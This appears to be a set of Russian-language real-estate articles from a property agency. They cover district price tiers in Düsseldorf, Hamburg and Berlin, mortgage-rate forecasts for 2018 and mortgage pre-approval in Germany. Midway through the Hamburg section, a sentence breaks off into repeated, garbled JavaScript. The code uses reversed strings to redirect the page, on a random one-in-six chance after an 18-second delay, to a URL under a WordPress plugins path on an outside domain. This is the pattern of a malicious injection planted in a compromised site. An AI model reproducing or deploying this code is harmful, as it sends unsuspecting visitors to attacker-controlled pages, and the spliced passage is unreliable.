В процессе трансформации в настоящее время находится район Хердт, расположенный на западной окраине. Несмотря на то, что район всегда позиционировал себя жилым, в его пейзаже больше преобладала офисная застройка. Недавно построенный кампус Vodafone, который сочетает в себе место для работы и отдыха, частично устраняет этот дисбаланс. В будущем дальнейшие строительные проекты объединят разные сферы жизни. В этом отношении район имеет интересную перспективу, которая еще больше может повысить текущую цену в 5550 евро за квадратный метр.

Как будет развиваться рынок недвижимости в Дюссельдорфе?

Ориентированная в будущее экономика, продолжающийся рост населения и высокая покупательная способность являются благоприятными условиями для все еще динамичного рынка недвижимости. Тем более что Дюссельдорф имеет потенциал развития, будь то новое строительство или последующее уплотнение. Однако шансы распределяются по-разному: хотя ценовая тенденция продолжит расти из-за очень низкого предложения и лимитированного числа участков под застройку, отношение к строительству крупных кондоминиумов сейчас весьма скептическое. Особенно в сегменте элитного жилья, где есть богатый выбор как новых зданий, так и существующих качественных объектов. Кроме того, инвесторы так сильно подпитали ценовую гонку, что еще предстоит посмотреть, оправдается ли ожидаемая рента. Чтобы избежать возможного перегрева на рынке, необходимо следовать тщательно продуманному принципу «локация, локация, локация» в сочетании с факторами «энергетическое состояние» и «качество объекта».

Недвижимость Гамбурга: самые бюджетные и самые дорогие районы

Продолжая цикл статей о ценовом делении рынка недвижимости крупнейших городов Германии, нельзя не упомянуть портовую столицу страны, город бесчисленных парков, мостов и каналов, Гамбург.

Второй по величине город Германии, стратегически выгодно расположенный у слияния Эльбы с Северным морем, живет благодаря своему порту – второму по величине в Европе – машиностроению и туризму. Большое количество международных корпораций (Blohm und Voss, Airbus, Beiersdorf, Holsten-Brauerei) вкупе с низким уровнем безработицы ежегодно привлекают рабочую силу не только со всей Германии, но и с территории всего Евросоюза. Логично предположить, что спрос на жилье со стороны мигрантов рано или поздно сказывается на стоимости местной недвижимости.

На данный момент стоимостной разрыв между самым бюджетным и самым дорогим районом превышает двукратный размер: по данным на июнь 2018 года квадратный метр в самом дешевом районе стоит 2677 евро, в то время как в самом престижном за «квадрат» придется заплатить 5768 евро. Перейдем к деталям.

1. Очень дешевые районы города — в среднем: 2677 евро / кв. м

Цены от 2530 до 2810 евро / кв. м, в среднем: 2677 евро / кв. м (*данные собраны для среднестатистического кондоминиума, площадью 75 кв. м; районы представлены в порядке возрастания цен на недвижимость)

Аллермёэ, Кирхвердер, Окзенвердер, Райтброк. Шпаденланд, Татенберг, Хаусбрух, Нойграбен – Фишбек, Альтенгамме, Нойенгамме, Франкоп, Нойенфельде, Вальтерсхоф и Финкенвердер, Айссендорф, Мармсторф, Зинсторф, Вильсторф, Бильброк, Моорфлет.

2. Дешевые районы города — в среднем: 3044 евро / кв. м

Цены от 2890 до 3270 евро / кв. м, в среднем: 3044 евро / кв. м (*данные собраны для среднестатистического кондоминиума, площадью 75 кв. м; районы представлены в порядке возрастания цен на недвижимость)

Бильштедт, Вильгельмсбург, Харбург, Лангенбек, Морбург и Альтенвердер, Нойланд и Гут Мор,  Рённебург, Хаймфельд, Бергедорф, Билльвердер, Лобрюгге, Луруп, Штайльсхооп, Айдельштедт, Тондорф, Хорн, Шнельзен, Оздорф.

3. Районы города средней ценовой категории — в среднем: 3495 евро / кв. м

Цены от 3270до 3600 евро / кв. м, в среднем: 3495 евро / кв. м (*данные собраны для среднестатистического кондоминиума, площадью 75 кв. м; районы представлены в порядке возрастания цен на недвижимость)

Фармзен–Берне, Лангенхорн, Ротенбургзорт, Феддель, Фульсбюттель, Брамфельд, Бергштедт, Хамм, Дуфенштедт, Лемзаль-Меллингштедт, Вольдорф-Ольштедт, Риссен, Хуммельсбюттель, Вандсбек, Поппенбюттель, Зазель,  Гросс Борстель, Ниндорф.

4. Дорогие районы города — в среднем: 4115 евро / кв. м

Цены от 3610 до 5020 евро / кв. м, в среднем: 4115 евро / кв. м (*данные собраны для среднестатистического кондоминиума, площадью 75 кв. м; районы представлены в порядке возрастания цен на недвижимость)

Дульсберг, Енфельд, Мариенталь, Изерброк, Ольсдорф, Боргфельде, Фольксдорф, Баренфельд, Штеллинген, Веллингсбюттель, Гамбург-Альтштадт, Бармбек-Норд, Айльбек, Локштедт, Хаммерброк, Альтона-Норд, Гросс Флоттбек, Альстердорф.

5. Очень дорогие районы города — в среднем: 5764 евро / кв. м

Цены от 5040 до 6920 евро / кв. м, в среднем: 5764 евро / кв. м (*данные собраны для среднестатистического кондоминиума, площадью 75 кв. м; районы представлены в порядке возрастания цен на недвижимость)

Бармбек-Зюд, Нинштедтен, Санкт-Паули, Винтерхуде, Хоенфельде, Хоелуфт-Вест, Штерншанце, Нойштадт, Аймсбюттель, Бланкенезе, Санкт-Георг, Отмаршен, Оттензен, Альтона-Альтштадт, Эппендорф, Хоэлуфт-Ост, Уленхорст, Хафенсити, Ротербаум, Харвестехуде.

Теперь наглядно видно, что в гамбургском районе с дешевой недвижимостью (вторая группа) за покупку квартиры придется заплатить от 230 000 до 280 000 евро, при этом элитное жилье верхнего ценового диапазона обойдется будущему владельцу в 440 000 евро, что эквивалентно ценнику в 5870 евро за «квадрат».

Какие изменения цен происходят в районах Гамбурга?

Как правило, эксклюзивность жилья в Гамбурге определяется видом на Альстер или на Эльбу, а если объект еще и имеет прямой доступ к воде – то это вообще рай. Любой, у кого есть редкий шанс купить жилье на берегах Альстера в районе Харвестехуде, должен быть готов выложить за это удовольствие миллионы. Также престижные адреса расположены в соседнем Эппендорфе, где городской пейзаж формирует представительная архитектура. У солидности есть цена: в 2017 году цены на местное жилье выросли почти на 12% и по сей день держатся у отметки 5200 евро / кв. м.

Напротив Эппендорфа находится Винтерхуде, который также характеризуется крупными старыми зданиями буржуазного стиля. Здесь в меньшей степени доступны дома разных возрастных классов для одной или двух семей. В среднем стоимость квадратного метра здесь варьируется в пределах 6100 евро / кв. м, что на 2% выше, чем в августе 2016 года. Сюда еще стоит добавить Уленхорст – район, который по часовой стрелке опоясывает Альстер. Если предложения о продаже недвижимости и появляются в открытой продаже, то ценник не отличается демократичностью – около 7000 евро / кв. м в домах и 5400 евро / кв. м в квартирах. К самым благородным и презентабельным микрорайонам можно отнести Feenteich, где находится генконсульство РФ, и набережную вокруг озера Schöne Aussicht.

В настоящее время многие районы города подвергаются масштабным изменениям. Например, Бармбек-Норд, который превращается из бывшего района для рабочего класса в привлекательный жилой квартал. Особенно позитивен тот факт, что новая застройка бывшей территории грузового двора создала доступ к прилегающему городскому парку. В течение одного года стоимость местной недвижимости выросла на 8% до уровня 3390 евро за кв. м. Район Штайльсхооп также считается «темной лошадкой». Долгое время популярность этого района сдерживало обилие крупных жилых комплексов послевоенного периода, но теперь, по мере реализации проекта Pergolenviertel, интерес к району возрождается. В течение следующих нескольких лет на 27 гектарах будут построены около 1400 квартир, а также парки и просторные игровые площадки для детей. Соответственно, цены на существующую недвижимость выросли на 14% (по сравнению с августом 2016 года) и достигли отметки 2500 евро / кв. м.

Популярные окрестности на западе Гамбурга – это  модный район Оттенсен. Прогуливаясь здесь, можно запросто встретить кинорежиссера, к примеру, Фатиха Акина, или актрису, например, Ханнелор Хогер. Розничная торговля представлена не крупными торговыми центрами, а небольшими бутиками и авторскими магазинчиками, где, зачастую, товарами собственного изготовления, торгуют сами владельцы. Архитектура Оттенсена очень разнообразна: от здания Вильгельмианского стиля, возвышающегося над ярко-красной кирпичной кладкой, до суперстильных зданий с современной системой энергоэффективности. Для квартир, которые находятся в отличном состоянии, ценник будет составлять 5100 евро / кв. м, а дома могут продаваться по цене 5200 евро за «квадрат». Однако, чем ближе местоположение к соседнему району Аймсбюттель, тем более зеленым и более архитектурно привлекательным становится городской пейзаж. Цены на квартиры выросли за год на 13%, и теперь средняя стоимость составляет 5000 евро / кв. м. Тем не менее недавняя передислокация штаб-квартиры пивоваренного гиганта «Хольстен» и проект городского развития Neue Mitte Altoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tona, вероятно, продолжат подталкивать цены к дальнейшему росту.

Тот, кто предпочитает жить в виллах и односемейных домах, должен присмотреться к районам вдоль Эльбы – Бланкенезе, Нинштедтен, Гросс Флоттбек и Отмаршен на западе, а также к части кварталов Фольксдорф, Зазель и Вольдорф-Ольштедт на северо-восточной окраине. Многие из предлагаемых здесь объектов имеют большие садовые участки, а ряд жилья в Бланкенезе может предложить панорамный вид на Эльбу. Предложения по продаже в этих районах чрезвычайно редки, а свободные участки так же хороши, как и недоступны. Однако если ветхое жилье нуждается в сносе, и, следовательно, освобождается земельный участок, цены на землю, например, в Отмаршене будут начинаться от 1450 евро, а в Бланкенезе – от 1600 евро за «квадрат». Ближе к лесным чащам стоимость жилья варьируется в зависимости от конкретного местоположения. Если повезет, то компактный отдельно стоящий домик можно купить по цене от 300 000 евро. Аналогичный дом у берегов Эльбы будет стоить порядка трех миллионов евро.

Пристальное внимание стоит уделить развитию района Шнельзен на северо-западе Гамбурга, неподалеку от границы с землей Шлезвиг-Гольштейн. Дело в том, что сейчас здесь строится автомагистраль А7, которая обеспечит активную жизнь города на долгие годы. Помимо арендного жилья, здесь находится много одно- и двухквартирных домов, а также таунхаусы. С увеличением цен на 4%, тенденция роста стоимости жилья уже заметна. Если вы хотите купить дом здесь, то должны рассчитывать в среднем на 3150 евро / кв. м. Соседний Айдельштедт также извлекает выгоду из переориентации местоположений – здесь в годовом эквиваленте цены выросли на 11% и достигли уровня 2750 евро / кв. м.

Кроме того, в районах, расположенных недалеко от центра ганзейского города, строятся новые жилые кварталы. В частности, Хорн, который сейчас испытывает приток интереса. Не слишком популярный в течение нескольких десятилетий, в основном, из-за своих простых блочных четырех- и пятиэтажных жилых зданий 1950-х и 1960-х годов, в недавнем прошлом Хорн, попавший в программу обновления целых кварталов, подвергся значительной модернизации. Сейчас здесь можно купить квартиру по цене 2750 евро / кв. м.

Также все большей популярностью пользуется ближайший Бильштедт, и рост цен на недвижимость это отражает: за прошлый год жилье в районе подорожало на 9% и достигло цифры 2500 евро / кв. м. Тем не менее цены здесь все еще считаются одними из самых низких в городе.

По прогнозам, самые привлекательные и востребованные для жизни районы будут находиться рядом с Альстером, Эльбой и на берегах реки Билле. К 2030 году Гамбургский сенат хочет создать ряд зеленых зон и водоемов. Кроме того, вдоль Эльбы будут построены жилые комплексы на тысячи квартир. Соответственно, в ближайшие годы восточная часть значительно изменится. Уже в процессе трансформации находится бывший рабочий район Ротенбургзорт, где уже сегодня жилье продается за 3300 евро / кв. м. Вскоре здесь же будет построен жилой студенческий городок, а также сотни арендных домов и кондоминиумов, поэтому восходящий тренд обязательно продолжится.

Также много интересного происходит к югу от Эльбы. Прежде всего, Международная строительная выставка (IBA Hamburg), которая состоялась в 2013 году в Вильгельмсбурге, способствовала положительному изменению имиджа южной части Гамбурга. Сейчас покупка недвижимости в этом районе для постоянного проживания очень популярна, особенно среди молодежи. Кирпичные здания и аккуратные дома, построенные в начале ХХ века, украшают улицы. Между ними находятся отдельные дома и таунхаусы. Вновь нахлынувшая популярность отражается в повышении цен на квартиры – 12% в течение одного года. Ценник в 2600 евро за «квадрат» уже давно не является редкостью.

Также по заинтересованности со стороны потенциальных покупателей догоняет Харбург, где решающее значение в цене имеет конкретное местоположение объекта. Наиболее востребованным в этом округе остается Айссендорф, который находится рядом с городским парком. Здесь за современную квартиру в настоящее время платят около 2500 евро / кв. м, а за отдельно стоящие дома 2700 евро за каждый «квадрат».

Еще один район, наращивающий свою популярность, Нойграбен-Фишбек, расположенный на границе с Нижней Саксонией. Пока умеренно застроенный многоэтажками, крупными жилыми комплексами и таунхаусами, в будущем район станет стройплощадкой, где будут реализованы проекты для проживания нескольких тысяч человек. К возведению запланированы индивидуальные дома для одной семьи, таунхаусы и жилье для последующей сдачи в аренду. Городские изменения оживляют цены: если вы хотите купить здесь квартиру сегодня, то должны иметь бюджет из расчета 2200 евро за квадратный метр.

Картина о градации ценовых диапазонов фактически повторяется во всех крупных городах Германии. В среднем цены на квадратный метр между очень дешевым жильем и объектами среднего класса варьируются в пределах 1000 евро за «квадрат». Однако в дорогих и очень дорогих районах эта разница увеличивается в два-три раза. Для сравнения, жилье в престижном районе, которое в Гамбурге можно приобрести за 440 000 евро, в Мюнхене уже будет стоить порядка 700 000 евро.

Таким образом, высокая маржа в недвижимости верхнего ценового диапазона свидетельствует как о финансовых масштабах состоятельных клиентов, так и о высоком спросе в сегменте премиальных объектов.

Недвижимость Берлина: самые бюджетные и самые дорогие районы

Цены на жилье в Германии в целом, и в Берлине в частности растут, но, как и следовало ожидать, не одинаковыми темпами в разных частях города. На сегодняшний день в любом мегаполисе Германии все еще можно найти районы с бюджетным жильем.  В данном цикле статей, посвященных недвижимости крупнейших городов Германии, все мегаполисы будут разделены на несколько ценовых зон.

Статистика говорит о том, что рынок недвижимости в наиболее крупных и популярных городах страны процветает много лет, однако ценовые структуры даже в рамках одной метрополии могут отличаться в разы. Статистическим данным вторят и эксперты сегмента, утверждая, что «Бюджетное жилье по-прежнему доступно во многих районах немецких городов, даже несмотря на продолжающийся ажиотаж на рынке недвижимости».

Исходя из цен экспонируемых объектов, специалисты оценили, сколько стоит кондоминиум площадью 75 квадратных метров в разных районах крупных городов. Впоследствии результаты разных районов были разделены на пять равных групп, от очень дешевых до очень дорогих.

Самая бюджетная недвижимость Берлина

В Берлине становится особенно ясно, насколько сильно городские районы отличаются по уровню цен. По данным экспертной статистики, кондоминиум в Берлине стоит в среднем около 216 000 евро, что эквивалентно 2886 евро за квадратный метр. Поэтому 50% берлинских кондоминиумов стоят дороже, другая половина дешевле. В районах самой дешевой, первой ценовой группы, жилье в среднем можно приобрести за 177 000 евро. Диапазон цен здесь простирается от 147 000 до 195 000 евро, а стоимость «квадрата» начинается от 1955 евро. Безусловно, самые дешевые районы имеют славу неблагополучных, и к самым бюджетным, но довольно проблемным относят Хеллерсдорф или Марцан, а также Шпандау, Вильгельмштадт или Альтглинике.

Во второй ценовой группе районов с наиболее доступными ценами на недвижимость жилье можно купить, имея бюджет от 195 000 евро до 207 000 евро. Средняя ценовая категория позволяет уложить покупку в диапазон между 208 000 и 228 000 евро.

Итак, перейдем к более детальному изучению районов Берлина и к ценовой составляющей местной недвижимости.

1. Очень дешевые районы города — в среднем: 2372 евро / кв. м

Цены от 1950 до 2600 евро / кв. м, в среднем: 2372 евро / кв. м (*данные собраны для среднестатистического кондоминиума, площадью 75 кв. м; районы представлены в порядке возрастания цен на недвижимость)

Хеллерсдорф, Фалькенберг, Вартенберг, Фалькенхагенер-Фельд, Марцан, Ной-Хоэншёнхаузен, Мальхов, Хакенфельде, Виттенау, Шпандау, Вильгельмштадт, Зименсштадт, Штаакен, Йоханнисталь, Борзигвальде, Обершёневайде, Баумшуленвег, Альтглинике, Адлерсхоф.

2. Дешевые районы города — в среднем: 2682 евро / кв. м

Цены от 2600 до 2760 евро / кв. м, в среднем: 2682 евро / кв. м (*данные собраны для среднестатистического кондоминиума, площадью 75 кв. м; районы представлены в порядке возрастания цен на недвижимость)

Мальсдорф, Букков, Бух, Каров, Хазельхорст, Каульсдорф, Любарс, Вайдманнслуст, Райниккендорф, Нидершёневайде, Бисдорф, Рудов, Кёпеник,  Мюггельхайм, Мариендорф, Конрадсхёэ, Фридрихсфельде, Рансдорф, Лихтенраде.

3. Районы города средней ценовой категории — в среднем: 2904 евро / кв. м

Цены от 2780 до 3050 евро / кв. м, в среднем: 2904 евро / кв. м (*данные собраны для среднестатистического кондоминиума, площадью 75 кв. м; районы представлены в порядке возрастания цен на недвижимость)

Бланкенбург, Гропиусштадт, Грюнау, Шмёквиц, Мэркишес Фиртель, Хайлигензе, Шарлоттенбург-Норд, Ланквиц, Тегель, Нойкёльн, Мариенфельде, Бриц, Розенталь, Вильгельмсру, Хайнерсдорф, Гатов, Кладов, Альт-Хоэншёнхаузен, Хермсдорф.

4. Дорогие районы города — в среднем: 3434 евро / кв. м

Цены от 3080 до 3740 евро / кв. м, в среднем: 3434 евро / кв. м (*данные собраны для среднестатистического кондоминиума, площадью 75 кв. м; районы представлены в порядке возрастания цен на недвижимость)

Фронау, Веддинг, Нидершёнхаузен, Лихтенберг, Карлсхорст, Лихтерфельде, Фридрихсхаген, Францёзиш-Буххольц, Вестэнд, Феннпфуль,  Штеглиц, Панков, Пригородный посёлок Мальхов, Вайсензе, Руммельсбург, Гезундбруннен, Бланкенфельде, Шёнеберг, Темпельхоф.

5. Очень дорогие районы города — в среднем: 4415 евро / кв. м

Цены от 3750 до 5870 евро / кв. м, в среднем: 4415 евро / кв. м (*данные собраны для среднестатистического кондоминиума, площадью 75 кв. м; районы представлены в порядке возрастания цен на недвижимость)

Альт-Трептов, Плентервальд, Ванзе, Шарлоттенбург, Фриденау, Вильмерсдорф, Николасзее, Целендорф, Ганзафиртель, Моабит, Шмаргендорф, Фридрихсхайн, Митте, Пренцлауэр-Берг, Халензе, Кройцберг,  Груневальд, Далем, Тиргартен.

Какие изменения цен происходят в крупных районах Берлина?

Теперь давайте более подробно рассмотрим городские районы. Шарлоттенбург-Вильмерсдорф всегда был одним из самых желанных мест проживания в Берлине. Расположенный неподалеку от исторического Митте и вместе с коммерческим районом City West он формирует «сердце» города, рассекаемое знаменитым бульваром Курфюрстендамм. Великолепные старые здания с привлекательными фасадами выходят на улицы, засаженные липами. В то время как на верхних этажах расположены просторные апартаменты, первые этажи зданий приглашают задержаться в кафе или посетить бутик. У буржуазного очарования есть своя цена: 3980 евро в среднем придется заплатить за квадратный метр в старом здании, если, конечно, встретится такое предложение.

Также большую брешь в бюджете может пробить покупка недвижимости в идиллическом районе Халензе, который находится в западной части Курфюрстендамма, и в пейзаже которого преобладают виллы и небольшие арендные дома. Здесь цены в годовом эквиваленте растут в среднем на 4% и на данный момент составляют около 4 150 евро / кв. м.

К югу от него лежит Шмаргендорф, который поражает своей аурой маленького провинциального городка. Здесь низкоэтажные постройки перемежаются с аккуратными старыми зданиями, и все это утопает в зелени высаженных деревьев. Особенно поражает ратуша в стиле Бранденбургской кирпичной готики. В среднем квартиру здесь можно купить по цене 4670 евро за «квадрат», но район является частью менее инвестиционно привлекательного сегмента по сравнению с соседними кварталами.

Наиболее предпочтительными районами для проживания, на которых останавливает свой выбор тот, кто планирует постоянно обосноваться в Берлине, считаются Пренцлауэр-Берг, Кройцберг и Фридрихсхайн. Оживленная атмосфера привлекает художников и творческих личностей, а также молодые семьи и пары. Однако на современном рынке предложение о продаже встречается крайне редко, и еще реже можно встретить новостройки, поскольку количество земельных участков под строительство крайне ограничено. Любой, кто хочет купить недвижимость в Пренцлауэр-Берге, должен быть готов заплатить около 4000 евро за «квадрат». Кроме того, несколько лет назад был реализован последний вакантный проект «NIO», что приведет к дальнейшему росту цен.

Аналогичная ситуация в Кройцберге. Опять же, спрос высок, и выбор ограничен. Тем не менее годовой рост цен составляет 14%, что по сравнению с 17% в Пренцлауэр-Берге можно считать более умеренным показателем. На данный момент цены на квартиры в Кройцберге начинаются от 4220 евро / кв. м. Если не получается найти что-то подходящее в Пренцлауэр-Берге или Кройцберге, то стоит переместиться в район Фридрихсхайн, но и здесь надо запастись терпением, чтобы найти подходящий объект с оптимальным соотношением цены и качества.  При чистых ценах на покупку квартир на уровне €3710 / кв. м,  Фридрихсхайн никоим образом не уступает двум вышеупомянутым районам.

Микрорайон Вильгельмштадт в районе Шпандау, который характеризуется односемейными домами и многоэтажными зданиями, прекрасно развивается в последние годы.  В 2011 г., в рамках реконструкции города, он был обновлен. В ходе работ были обновлены зеленые зоны и отреставрированы общественные места. К 2021 году в модернизацию района будет вложено 27 миллионов евро государственных средств. Эти меры уже оказывают влияние на цены: средняя цена покупки дома в настоящее время составляет 3300 евро за квадратный метр, что соответсвтует 10-процентному росту за год. Продавцы должны внимательно следить за развитием событий, чтобы суметь выбрать подходящее время для продажи своего жилья.

Также интересным в обозримом будущем может стать район на севере Берлина Райниккендорф – район с простым жильем для среднего класса, который является популярным местом проживания из-за многочисленных озер, парков и зеленых насаждений. Однако в настоящее время он все еще обременен въездной полосой в аэропорт Тегель, что в ближайшем будущем должно измениться с открытием и вводом в эксплуатацию нового аэропорта Берлин-Бранденбург. Тогда  Рейникендорф станет значительно более привлекательным. Первые застройщики уже прибыли на старт. Одним из них является международный BPD, который в настоящее время реализует проект Hermsdorfer Terrasse на Ульменштрассе в бывшем фрахтовом дворе. Несмотря на отдаленные перспективы, изменение цен заметно уже сейчас: квартиры продаются за 2160 евро / кв. м, что на 14% больше, чем в июне 2016 года.

Также на подъеме находится район Панков и прилегающая деревня Хейнерсдорф. Помимо Митте и Лихтенберга, Панков, где на данный момент проживает почти 390 000 жителей, является одним из самых быстрорастущих районов Берлина. В ближайшие годы здесь будет реализован масштабный строительный проект «Pankower Tor» – городской район площадью 40 гектаров с торговым центром, новой станцией S-Bahn и U-Bahn, детскими садами, школами, специализированными магазинами и жилыми комплексами на 1000 квартир. Естественно, планируемые проекты провоцируют рост цен. В настоящее время квартиры в районе Панков продаются по цене от 3080 евро за «квадрат», при условии правильного микрорасположения, хорошего состояния жилья и возможности объекта конкурировать с точки зрения энергоэффективности.

На фоне шумной агломерации, район Хейнерсдорф с его церковью XIII века, кажется почти деревенским. Отдельные семейные дома чередуются здесь с небольшими многоквартирными комплексами, между которыми расположены садовые участки или обширные зеленые насаждения. Частичку мира и спокойствия на периферии суетливого города можно приобрести по цене 2 840 евро / кв. м.

До сих пор слабо востребован округ Марцан-Хеллерсдорф, который ложно ассоциируют с крупными жилыми комплексами-«муравейниками» и панельными зданиями старого жилого фонда. По факту, в самом восточном пригороде Берлина много зеленых зон, а сама структура района очень разнородна. Здесь есть и постройки 1920-1930-х годов, и типовые многоэтажки 1990-х годов, и современные семейные дома и виллы. Предыдущие изменения цен, отмеченные в Марцан-Хеллерсдорфе, можно считать довольно умеренными по сравнению с другими районами – в среднем всего 7%. Тем не менее прошлогодний рост на 16% до 1820 евро / кв. м свидетельствует о том, что недвижимость Марцана также становится привлекательной с инвестиционной точки зрения.

На юго-западе Берлина расположился мечтательно-созерцательный район Далем. Здесь архитектурный облик формируют просторные виллы и отдельные дома, которые часто имеют большие садовые участки. До Второй мировой войны здесь жили многие кинозвезды, ученые и промышленники. Сегодня Далем известен, в частности, крупнейшим вузом немецкой столицы, Свободным университетом, который расположен здесь, и Ботаническим садом. Местные виллы вряд ли можно купить дешевле 1,5 млн евро, а цены на односемейные дома начинаются с шестизначных цифр – в диапазоне около 700 000 евро.

В заключение стоит сказать, что на сегодняшний день ни в одном крупном городе Германии нельзя купить недвижимость дешевле, чем в Берлине. Привлекательность столичных объектов кроется не только в том, что жилье в большей части престижных районов считается недооцененным, но и в том, что квартиры в этом мегаполисе обладают рядом ценных характеристик: надежностью, ликвидностью, арендопригодностью и прибыльностью.

Ипотечные ставки в Германии: динамика и прогноз на 2018 год

Давайте начнем с выяснения базовых терминов. Итак, ипотечная ставка – это процентная ставка, выставленная за пользование ипотечным кредитом. Ставки могут быть фиксированными, постоянными или переменными. Среди многих факторов, определяющих момент покупки, многие покупатели ориентируются именно на величину действующей процентной ставки. Процентная ставка показывает, насколько дорогой окажется для вас ипотека. Чем ниже процентная ставка, тем ниже стоимость кредита. Если вы думаете о том, чтобы купить недвижимость в Германии с привлечением ипотеки, то перед непосредственным поиском объекта имеет смысл изучить динамику ставок и сделать прогноз на 2018 год.

Динамика процентных ставок по ипотеке

Большинство покупателей жилья в Германии сегодня выбирают кредит с фиксированной процентной ставкой, сроком на 10 лет. Давайте заглянем в недавнюю историю, чтобы понять, как развивались ставки по ипотечным кредитам.

К ноябрю 2016 года процентные ставки выросли с 0,69% до 0,81%. В 2017 году наблюдался небольшой восходящий тренд. В течение большей части 2017 года ставки устанавливались между 1,0% и 1,2%.

Факторы воздействия в 2018 году: ЕЦБ, ключевая процентная ставка и ФРС

Общая рыночная ситуация является самым весомым фактором, определяющим ипотечную ставку. В 2018 году субъектами, которые будут влиять на рынок недвижимости Германии и всей Европы, останутся Европейский Центробанк (ЕЦБ), ключевая процентная ставка и Федеральная резервная система США (ФРС). В каждом аспекте наметился продолжительный восходящий тренд.

— Европейский Центральный Банк
Основная роль ЕЦБ заключается в обеспечении стабильности цен в Евросоюзе. Для этого ЕЦБ использует два инструмента: ключевую процентную ставку и программу покупки облигаций.

— Текущая политика ЕЦБ
До тех пор, пока уровень инфляции не достигнет 2%, ЕЦБ будет держать ключевую процентную ставку низкой и покупать государственные облигации. В июне 2017 года представители Европейского Центробанка исключили дальнейшие сокращения ключевых процентных ставок на ближайшее будущее. Программа покупки облигаций ЕЦБ будет продолжаться до конца 2018 года. Текущая денежно-кредитная политика ЕЦБ четко свидетельствует о том, что процентные ставки не снизятся до уровня 2016 года.

— Ключевая процентная ставка
Ключевая процентная ставка напрямую влияет на ставки по ипотечным кредитам. Во-первых, банки рефинансируют ипотечное кредитование путем продажи ипотечных облигаций. Во-вторых, процентная ставка по этим облигациям напрямую зависит от ставок государственных облигаций.

— Процентные ставки в Германии
Поскольку экономика Германии остается одной из самых стабильных в Евросоюзе, спрос на национальные государственные облигации в настоящее время очень высок. Это позволяет удерживать процентные ставки по ипотеке на низком уровне, что, в свою очередь, приводит к снижению ипотечных ставок по всей стране.

— ФРС
В 2017 году Федеральный резерв США вновь повысил процентные ставки. Движение ФРС делает инвестиции США более привлекательными, поэтому инвесторы переходят из зоны евро в зону доллара. Это давит на ЕЦБ, вынуждая повысить ключевую процентную ставку, но данные Евросоюза в настоящее время не способствуют принятию этого решения.

Прогноз по ставкам ипотечного кредита в 2018 году:
потенциальное увеличение до 1,5%

Процентные ставки в 2018 году, вероятно, умеренно вырастут на 0,5 процентных пункта. Это может привести к увеличению процентных ставок до 1,5% в 2018 году.

Что это означает для покупателей?

Ниже приведен пример расчета того, как эти 0,5 процентных пункта выразятся в евро и скажутся на реальных расходах заемщиков. Для примера возьмем покупку недвижимости в Германии стоимостью 300 000 евро. Покупателю требуется заемное финансирование в размере 150 000 евро.

Ежемесячный платеж в 373 евро увеличится до 473 евро. Несмотря на рост процентных ставок, оставшийся долг после 10 лет выплат сокращается почти на 1000 евро. Здесь разница еще не столь заметна или имеет положительный эффект. Тем не менее, более высокая ставка по кредиту показывает большую разницу в общих процентных расходах почти на 7000 евро.

Вывод

Даже по мере роста ставок в 2018 году, ипотечное финансирование покупки недвижимости по-прежнему является конкурентоспособным инструментом, в том числе и для иностранцев, особенно для жителей России, привыкших к ипотечным ставкам иного порядка.

Советы покупателям

Следующие пять советов позволят покупателям принять грамотное и взвешенное решение:

1. Следите за государственными облигациями и инфляцией;

2. Отслеживайте решения ЕЦБ;

3. Поймите принцип влияния со стороны Соединенных Штатов;

4. Регулярно изучайте статистику и читайте официальные публикации;

5. Ориентируйтесь на долгосрочные процентные ставки.

При низких ставках по ипотеке покупатели могут быстро погасить кредит на недвижимость и выстроить устойчивое финансовое положение.

Если у вас остались вопросы – обращайтесь к специалистам компании EW Real Estate; одна из наших задач – помочь вам найти ипотечный кредит с оптимальными условиями погашения.

Предварительное одобрение ипотеки в Германии: почему это важно

Как только вы решаете купить недвижимость в Германии, велика вероятность, что вы начнете с непосредственного посещения доступных объектов. Все это, конечно, забавное приключение, но первым шагом серьезных покупателей должно стать посещение кредитора. Предварительное одобрение ипотеки является обязательным условием для любого покупателя, особенно в Германии (безусловно, только для тех, кто будет привлекать к сделке заемные средства). Так, наличие предварительного одобрения может продемонстрировать продавцу серьезность ваших намерений и показать, что вы в целом имеете право на получение кредита.

Современный рынок недвижимости – очень конкурентоспособный сегмент, особенно в крупнейших городах Германии. Продавцы понимают, что большая часть потенциальных покупателей – будь то местный житель или иностранец – будут оплачивать покупку с привлечением заемных средств, а значит, при первой встрече лучше идут на контакт с теми, у кого на руках имеется предварительное одобрение банка. Некоторые продавцы даже отказываются вступать в переговоры, пока покупатель не сможет доказать, что имеет право на заемное финансирование.

Также предварительно одобренная ипотека помогает покупателю: вы поймете, на какую сумму сможете рассчитывать. Предварительный визит в банк позволяет спокойно обсудить свой бюджет с кредитором и получить от него ряд вариантов по финансированию будущей сделки. Кредитор, знающий особенности местного рынка недвижимости, может на раннем этапе помочь с отсечением потенциальных осложнений.

Что такое предварительное одобрение ипотеки?

Предварительное одобрение ипотеки является официальным процессом, который может помочь вам узнать, имеете ли вы право на заемное финансирование. Более того, процесс показывает, какую сумму вы могли бы получить в кредит.

Процесс предварительного одобрения ипотеки – вопрос официальный и структурированный. Кредитор попросит вас заполнить заявку на ипотеку. Вы также предоставите кредитору все необходимые документы.

Хотя предварительное одобрение является важным шагом, оно отнюдь не гарантирует предоставление кредита. Тем не менее, вы можете вложить копию письма на предварительное одобрение, сопроводив им ценовое предложение (оферту), чтобы продавцы знали, что вы серьезны и хорошо осведомлены в тонкостях сделки.

Зачем необходимо получать предварительное одобрение ипотеки?

